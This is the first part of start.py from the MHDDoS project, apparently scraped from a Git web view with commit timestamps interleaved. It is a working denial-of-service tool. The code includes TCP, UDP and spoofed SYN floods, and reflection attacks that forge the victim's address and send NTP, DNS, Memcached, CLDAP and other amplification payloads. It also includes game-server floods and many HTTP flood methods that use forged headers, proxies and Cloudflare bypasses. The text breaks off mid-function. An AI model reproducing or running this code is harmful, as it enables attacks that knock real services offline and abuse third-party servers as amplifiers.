MHDDoS/start.py

1452 lines
55 KiB
Python
Raw Normal View History

2021-02-24 01:32:58 +08:00
#!/usr/bin/env python3
2022-03-03 04:30:52 +08:00
2022-03-02 05:52:47 +08:00
from concurrent.futures import ThreadPoolExecutor, as_completed
2022-02-26 06:20:31 +08:00
from contextlib import suppress
from itertools import cycle
2022-02-07 18:23:21 +08:00
from json import load
2022-03-05 07:16:47 +08:00
from logging import basicConfig, getLogger, shutdown
from math import log2, trunc
2022-03-02 00:49:43 +08:00
from multiprocessing import RawValue
2022-02-07 18:24:48 +08:00
from os import urandom as randbytes
2022-02-07 18:50:01 +08:00
from pathlib import Path
2022-03-05 07:16:47 +08:00
from random import choice as randchoice
from random import randint
2022-03-05 10:50:36 +08:00
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
2022-03-05 07:16:47 +08:00
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context
from struct import pack as data_pack
2022-03-06 01:36:48 +08:00
from subprocess import run
2022-03-05 07:16:47 +08:00
from sys import argv
from sys import exit as _exit
2022-03-09 23:17:05 +08:00
from threading import Event, Thread
2022-03-02 00:49:43 +08:00
from time import sleep, time
2022-03-05 07:16:47 +08:00
from typing import Any, List, Set, Tuple
2022-03-06 22:45:07 +08:00
from urllib import parse
from uuid import UUID, uuid4
2022-03-05 07:16:47 +08:00
2022-03-06 22:45:07 +08:00
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from certifi import where
from cfscrape import create_scraper
from dns import resolver
from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data
2022-03-05 07:16:47 +08:00
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
2022-03-15 07:22:08 +08:00
from requests import Response, Session, exceptions, get, cookies
from yarl import URL
2022-03-05 07:16:47 +08:00
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S")
2022-03-02 00:49:43 +08:00
logger = getLogger("MHDDoS")
logger.setLevel("INFO")
ctx: SSLContext = create_default_context(cafile=where())
ctx.check_hostname = False
ctx.verify_mode = CERT_NONE
__version__: str = "2.4 SNAPSHOT"
2022-03-06 22:45:07 +08:00
__dir__: Path = Path(__file__).parent
__ip__: Any = None
def getMyIPAddress():
global __ip__
if __ip__:
return __ip__
with suppress(Exception):
__ip__ = get('https://api.my-ip.io/ip', timeout=.1).text
with suppress(Exception):
__ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
with suppress(Exception):
__ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"]
with suppress(Exception):
__ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
with suppress(Exception):
__ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
with suppress(Exception):
__ip__ = get('https://ip.42.pl/raw', timeout=.1).text
return getMyIPAddress()
2022-03-02 00:49:43 +08:00
def exit(*message):
if message:
logger.error(" ".join(message))
shutdown()
_exit(1)
class Methods:
2022-03-05 07:16:47 +08:00
LAYER7_METHODS: Set[str] = {
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER"
2022-03-05 07:16:47 +08:00
}
LAYER4_METHODS: Set[str] = {
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
"CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE",
"CLDAP"
2022-03-05 07:16:47 +08:00
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
2022-03-05 07:16:47 +08:00
google_agents = [
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
"+http://www.google.com/bot.html)) "
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
]
2022-02-28 08:13:02 +08:00
2022-03-02 00:49:43 +08:00
class Counter(object):
def __init__(self, value=0):
self._value = RawValue('i', value)
def __iadd__(self, value):
self._value.value += value
2022-03-02 00:49:43 +08:00
return self
def __int__(self):
return self._value.value
def set(self, value):
self._value.value = value
2022-03-02 00:49:43 +08:00
return self
2022-03-05 10:01:16 +08:00
REQUESTS_SENT = Counter()
BYTES_SEND = Counter()
2022-03-05 07:16:47 +08:00
class Tools:
2022-03-05 07:16:47 +08:00
@staticmethod
def humanbytes(i: int, binary: bool = False, precision: int = 2):
2022-03-05 07:16:47 +08:00
MULTIPLES = [
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
]
if i > 0:
base = 1024 if binary else 1000
multiple = trunc(log2(i) / log2(base))
value = i / pow(base, multiple)
suffix = MULTIPLES[multiple].format("i" if binary else "")
return f"{value:.{precision}f} {suffix}"
2021-02-24 01:32:58 +08:00
else:
return f"-- B"
@staticmethod
def humanformat(num: int, precision: int = 2):
suffixes = ['', 'k', 'm', 'g', 't', 'p']
if num > 999:
2022-03-05 07:16:47 +08:00
obje = sum(
2022-03-06 22:45:07 +08:00
[abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
2021-02-24 01:32:58 +08:00
else:
return num
2022-03-02 00:49:43 +08:00
@staticmethod
def sizeOfRequest(res: Response) -> int:
size: int = len(res.request.method)
size += len(res.request.url)
2022-03-05 07:16:47 +08:00
size += len('\r\n'.join(f'{key}: {value}'
for key, value in res.request.headers.items()))
2022-03-02 00:49:43 +08:00
return size
@staticmethod
def randchr(lengh: int) -> str:
return "".join([chr(randint(0, 1000)) for _ in range(lengh)]).strip()
@staticmethod
def send(sock: socket, packet: bytes):
global BYTES_SEND, REQUESTS_SENT
if not sock.send(packet):
return False
BYTES_SEND += len(packet)
REQUESTS_SENT += 1
return True
@staticmethod
def sendto(sock, packet, target):
global BYTES_SEND, REQUESTS_SENT
if not sock.sendto(packet, target):
return False
BYTES_SEND += len(packet)
REQUESTS_SENT += 1
return True
@staticmethod
def safe_close(sock=None):
if sock:
sock.close()
class Minecraft:
@staticmethod
def varint(d: int) -> bytes:
o = b''
while True:
b = d & 0x7F
d >>= 7
o += data_pack("B", b | (0x80 if d > 0 else 0))
if d == 0:
break
return o
@staticmethod
def data(*payload: bytes) -> bytes:
payload = b''.join(payload)
return Minecraft.varint(len(payload)) + payload
@staticmethod
def short(integer: int) -> bytes:
return data_pack('>H', integer)
@staticmethod
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(target[0].encode()),
Minecraft.short(target[1]),
Minecraft.varint(state))
@staticmethod
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(
target[0].encode(),
b"\x00",
ip.encode(),
b"\x00",
uuid.hex.encode()
),
Minecraft.short(target[1]),
Minecraft.varint(state))
@staticmethod
def login(username: str) -> bytes:
if isinstance(username, str):
username = username.encode()
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.data(username))
@staticmethod
2022-03-07 21:56:09 +08:00
def keepalive(num_id: int) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(num_id))
2022-03-07 21:56:09 +08:00
@staticmethod
def chat(message: str) -> bytes:
return Minecraft.data(Minecraft.varint(0x01),
Minecraft.data(message.encode()))
# noinspection PyBroadException,PyUnusedLocal
2022-03-02 00:49:43 +08:00
class Layer4(Thread):
_method: str
_target: Tuple[str, int]
_ref: Any
SENT_FLOOD: Any
2022-02-07 20:53:48 +08:00
_amp_payloads = cycle
2022-03-03 04:30:52 +08:00
_proxies: List[Proxy] = None
2022-03-05 07:16:47 +08:00
def __init__(self,
target: Tuple[str, int],
ref: List[str] = None,
method: str = "TCP",
2022-03-03 04:30:52 +08:00
synevent: Event = None,
proxies: Set[Proxy] = None):
2022-03-06 12:45:36 +08:00
Thread.__init__(self, daemon=True)
self._amp_payload = None
self._amp_payloads = cycle([])
self._ref = ref
self._method = method
self._target = target
self._synevent = synevent
2022-03-03 04:30:52 +08:00
if proxies:
self._proxies = list(proxies)
2022-02-28 09:33:57 +08:00
def run(self) -> None:
if self._synevent: self._synevent.wait()
self.select(self._method)
while self._synevent.is_set():
self.SENT_FLOOD()
def open_connection(self,
conn_type=AF_INET,
sock_type=SOCK_STREAM,
proto_type=IPPROTO_TCP):
2022-03-03 04:30:52 +08:00
if self._proxies:
s = randchoice(self._proxies).open_socket(
2022-03-05 07:16:47 +08:00
conn_type, sock_type, proto_type)
else:
s = socket(conn_type, sock_type, proto_type)
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
2022-03-15 06:42:20 +08:00
s.settimeout(60)
s.connect(self._target)
return s
2022-03-03 04:30:52 +08:00
def select(self, name):
self.SENT_FLOOD = self.TCP
if name == "UDP": self.SENT_FLOOD = self.UDP
if name == "SYN": self.SENT_FLOOD = self.SYN
if name == "VSE": self.SENT_FLOOD = self.VSE
if name == "TS3": self.SENT_FLOOD = self.TS3
if name == "MCPE": self.SENT_FLOOD = self.MCPE
2022-03-10 11:04:33 +08:00
if name == "FIVEM": self.SENT_FLOOD = self.FIVEM
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
if name == "CPS": self.SENT_FLOOD = self.CPS
if name == "CONNECTION": self.SENT_FLOOD = self.CONNECTION
if name == "MCBOT": self.SENT_FLOOD = self.MCBOT
if name == "RDP":
2022-03-05 07:16:47 +08:00
self._amp_payload = (
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
3389)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "CLDAP":
self._amp_payload = (b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00', 389)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "MEM":
2022-03-05 07:16:47 +08:00
self._amp_payload = (
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "CHAR":
self._amp_payload = (b'\x01', 19)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "ARD":
self._amp_payload = (b'\x00\x14\x00\x00', 3283)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "NTP":
self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "DNS":
2022-03-05 07:16:47 +08:00
self._amp_payload = (
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
def TCP(self) -> None:
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while Tools.send(s, randbytes(1024)):
continue
Tools.safe_close(s)
def MINECRAFT(self) -> None:
handshake = Minecraft.handshake(self._target, 74, 1)
ping = Minecraft.data(b'\x00')
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while Tools.send(s, handshake):
Tools.send(s, ping)
Tools.safe_close(s)
def CPS(self) -> None:
global REQUESTS_SENT
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
REQUESTS_SENT += 1
Tools.safe_close(s)
def alive_connection(self) -> None:
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while s.recv(1):
continue
Tools.safe_close(s)
2022-03-02 00:49:43 +08:00
def CONNECTION(self) -> None:
global REQUESTS_SENT
with suppress(Exception):
Thread(target=self.alive_connection).start()
REQUESTS_SENT += 1
def UDP(self) -> None:
s = None
with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
2022-03-09 23:17:05 +08:00
while Tools.sendto(s, randbytes(1024), self._target):
continue
Tools.safe_close(s)
def SYN(self) -> None:
2022-03-02 00:49:43 +08:00
payload = self._genrate_syn()
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def AMP(self) -> None:
2022-03-02 00:49:43 +08:00
payload = next(self._amp_payloads)
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, *payload):
continue
Tools.safe_close(s)
def MCBOT(self) -> None:
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
Tools.send(s, Minecraft.handshake_forwarded(self._target,
47,
2,
ProxyTools.Random.rand_ipv4(),
uuid4()))
2022-03-09 23:17:05 +08:00
Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}"))
sleep(1.5)
2022-03-09 23:17:05 +08:00
c = 360
while Tools.send(s, Minecraft.keepalive(randint(1111111, 9999999))):
c -= 1
if c:
continue
2022-03-09 23:17:05 +08:00
c = 360
Tools.send(s, Minecraft.chat(Tools.randchr(100)))
Tools.safe_close(s)
def VSE(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
b'\x20\x51\x75\x65\x72\x79\x00')
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
2022-03-10 11:04:33 +08:00
def FIVEM(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def TS3(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def MCPE(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
b'\x73')
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def _genrate_syn(self) -> bytes:
ip: IP = IP()
2022-03-06 22:45:07 +08:00
ip.set_ip_src(getMyIPAddress())
ip.set_ip_dst(self._target[0])
tcp: TCP = TCP()
tcp.set_SYN()
tcp.set_th_dport(self._target[1])
2022-02-28 06:08:50 +08:00
tcp.set_th_sport(randint(1, 65535))
ip.contains(tcp)
return ip.get_packet()
def _generate_amp(self):
payloads = []
for ref in self._ref:
ip: IP = IP()
ip.set_ip_src(self._target[0])
ip.set_ip_dst(ref)
ud: UDP = UDP()
ud.set_uh_dport(self._amp_payload[1])
ud.set_uh_sport(self._target[1])
ud.contains(Data(self._amp_payload[0]))
ip.contains(ud)
payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
return payloads
# noinspection PyBroadException,PyUnusedLocal
2022-03-02 00:49:43 +08:00
class HttpFlood(Thread):
2022-02-28 07:13:47 +08:00
_proxies: List[Proxy] = None
_payload: str
2022-02-07 21:50:23 +08:00
_defaultpayload: Any
_req_type: str
_useragents: List[str]
_referers: List[str]
_target: URL
_method: str
_rpc: int
_synevent: Any
SENT_FLOOD: Any
2022-03-05 07:16:47 +08:00
def __init__(self,
target: URL,
host: str,
method: str = "GET",
rpc: int = 1,
synevent: Event = None,
useragents: Set[str] = None,
referers: Set[str] = None,
proxies: Set[Proxy] = None) -> None:
2022-03-06 12:45:36 +08:00
Thread.__init__(self, daemon=True)
self.SENT_FLOOD = None
self._synevent = synevent
self._rpc = rpc
self._method = method
self._target = target
self._host = host
self._raw_target = (self._host, (self._target.port or 80))
2022-02-26 06:20:31 +08:00
2022-02-28 07:13:47 +08:00
if not self._target.host[len(self._target.host) - 1].isdigit():
self._raw_target = (self._host, (self._target.port or 80))
2022-02-26 06:40:58 +08:00
if not referers:
2022-03-05 07:16:47 +08:00
referers: List[str] = [
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
"/sharer.php?u=",
",https://drive.google.com/viewerng/viewer?url=",
",https://www.google.com/translate?u="
]
self._referers = list(referers)
if proxies:
2022-02-28 07:13:47 +08:00
self._proxies = list(proxies)
if not useragents:
useragents: List[str] = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 '
'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 '
'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 '
'Safari/537.36',
2022-03-05 07:16:47 +08:00
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'
]
self._useragents = list(useragents)
self._req_type = self.getMethodType(method)
self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
2022-03-06 22:45:07 +08:00
target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
self._payload = (self._defaultpayload +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: Keep-Alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n')
def run(self) -> None:
if self._synevent: self._synevent.wait()
self.select(self._method)
while self._synevent.is_set():
self.SENT_FLOOD()
@property
def SpoofIP(self) -> str:
2022-02-26 06:20:31 +08:00
spoof: str = ProxyTools.Random.rand_ipv4()
return ("X-Forwarded-Proto: Http\r\n"
f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
f"Via: {spoof}\r\n"
f"Client-IP: {spoof}\r\n"
f'X-Forwarded-For: {spoof}\r\n'
f'Real-IP: {spoof}\r\n')
def generate_payload(self, other: str = None) -> bytes:
return str.encode((self._payload +
"Host: %s\r\n" % self._target.authority +
self.randHeadercontent +
(other if other else "") +
"\r\n"))
2022-02-26 06:40:58 +08:00
def open_connection(self) -> socket:
if self._proxies:
2022-02-28 07:13:47 +08:00
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
else:
sock = socket(AF_INET, SOCK_STREAM)
2022-02-26 06:20:31 +08:00
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
2022-03-15 03:44:21 +08:00
sock.settimeout(60)
sock.connect(self._raw_target)
2022-02-26 06:20:31 +08:00
if self._target.scheme.lower() == "https":
2022-03-05 07:16:47 +08:00
sock = ctx.wrap_socket(sock,
server_hostname=self._target.host,
server_side=False,
do_handshake_on_connect=True,
suppress_ragged_eofs=True)
return sock
@property
def randHeadercontent(self) -> str:
return (f"User-Agent: {randchoice(self._useragents)}\r\n"
f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
self.SpoofIP)
@staticmethod
def getMethodType(method: str) -> str:
2022-02-28 07:13:47 +08:00
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
2022-03-10 10:18:14 +08:00
"DYN", "SLOW", "PPS", "APACHE",
2022-03-06 22:45:07 +08:00
"BOT", } \
2022-03-10 10:18:14 +08:00
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
else "REQUESTS"
def POST(self) -> None:
2022-03-05 07:16:47 +08:00
payload: bytes = self.generate_payload(
("Content-Length: 44\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STRESS(self) -> None:
2022-03-05 07:16:47 +08:00
payload: bytes = self.generate_payload(
(f"Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def COOKIES(self) -> None:
2022-03-05 07:16:47 +08:00
payload: bytes = self.generate_payload(
"Cookie: _ga=GA%s;"
" _gat=1;"
" __cfduid=dc232334gwdsd23434542342342342475611928;"
" %s=%s\r\n" %
(randint(1000, 99999), ProxyTools.Random.rand_str(6),
ProxyTools.Random.rand_str(32)))
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-02-28 08:13:02 +08:00
def APACHE(self) -> None:
2022-03-05 07:16:47 +08:00
payload: bytes = self.generate_payload(
"Range: bytes=0-,%s" % ",".join("5-%d" % i
for i in range(1, 1024)))
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-02-28 08:13:02 +08:00
def XMLRPC(self) -> None:
2022-03-05 07:16:47 +08:00
payload: bytes = self.generate_payload(
("Content-Length: 345\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/xml\r\n\r\n"
"<?xml version='1.0' encoding='iso-8859-1'?>"
"<methodCall><methodName>pingback.ping</methodName>"
"<params><param><value><string>%s</string></value>"
"</param><param><value><string>%s</string>"
"</value></param></params></methodCall>") %
(ProxyTools.Random.rand_str(64),
ProxyTools.Random.rand_str(64)))[:-2]
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-02-28 08:13:02 +08:00
def PPS(self) -> None:
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, self._defaultpayload)
Tools.safe_close(s)
def GET(self) -> None:
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-02-28 08:13:02 +08:00
def BOT(self) -> None:
payload: bytes = self.generate_payload()
2022-03-02 00:49:43 +08:00
p1, p2 = str.encode(
"GET /robots.txt HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
2022-03-05 07:16:47 +08:00
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
2022-03-06 22:45:07 +08:00
"GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: */*\r\n"
"From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
ProxyTools.Random.rand_str(4)) +
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
Tools.send(s, p1)
Tools.send(s, p2)
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-02-28 08:13:02 +08:00
def EVEN(self) -> None:
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
while Tools.send(s, payload) and s.recv(1):
continue
Tools.safe_close(s)
def OVH(self) -> None:
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(min(self._rpc, 5)):
Tools.send(s, payload)
Tools.safe_close(s)
def CFB(self):
global REQUESTS_SENT, BYTES_SEND
pro = None
if self._proxies:
2022-02-28 07:13:47 +08:00
pro = randchoice(self._proxies)
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), create_scraper() as s:
for _ in range(self._rpc):
if pro:
with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
2022-03-05 10:01:16 +08:00
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(s)
2022-02-28 07:13:47 +08:00
def CFBUAM(self):
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
Tools.send(s, payload)
sleep(5.01)
2022-03-15 03:44:21 +08:00
ts = time()
for _ in range(self._rpc):
Tools.send(s, payload)
2022-03-15 03:44:21 +08:00
if time() > ts + 120: break
Tools.safe_close(s)
def AVB(self):
2022-02-28 07:13:47 +08:00
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
sleep(max(self._rpc / 1000, 1))
Tools.send(s, payload)
Tools.safe_close(s)
def DGB(self):
global REQUESTS_SENT, BYTES_SEND
s = None
2022-03-15 07:22:08 +08:00
with suppress(Exception), Session() as s:
with s.post(self._target.human_repr()) as ss:
ss.raise_for_status()
for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value))
for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100)
if self._proxies:
pro = randchoice(self._proxies)
with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
2022-03-05 10:01:16 +08:00
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(s)
def DYN(self):
2022-03-15 07:22:08 +08:00
payload: Any = str.encode(self._payload +
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
self.randHeadercontent +
2022-03-11 22:00:12 +08:00
"\r\n")
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
2022-03-02 00:49:43 +08:00
def DOWNLOADER(self):
2022-03-15 07:22:08 +08:00
payload: Any = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
while 1:
sleep(.01)
data = s.recv(1)
if not data:
break
Tools.send(s, b'0')
Tools.safe_close(s)
2022-03-02 00:49:43 +08:00
def BYPASS(self):
global REQUESTS_SENT, BYTES_SEND
2022-03-02 00:49:43 +08:00
pro = None
if self._proxies:
pro = randchoice(self._proxies)
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), Session() as s:
for _ in range(self._rpc):
if pro:
with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
2022-03-05 10:01:16 +08:00
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(s)
def GSB(self):
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
self._target.raw_path_qs,
ProxyTools.Random.rand_str(6)) +
"Host: %s\r\n" % self._target.authority +
self.randHeadercontent +
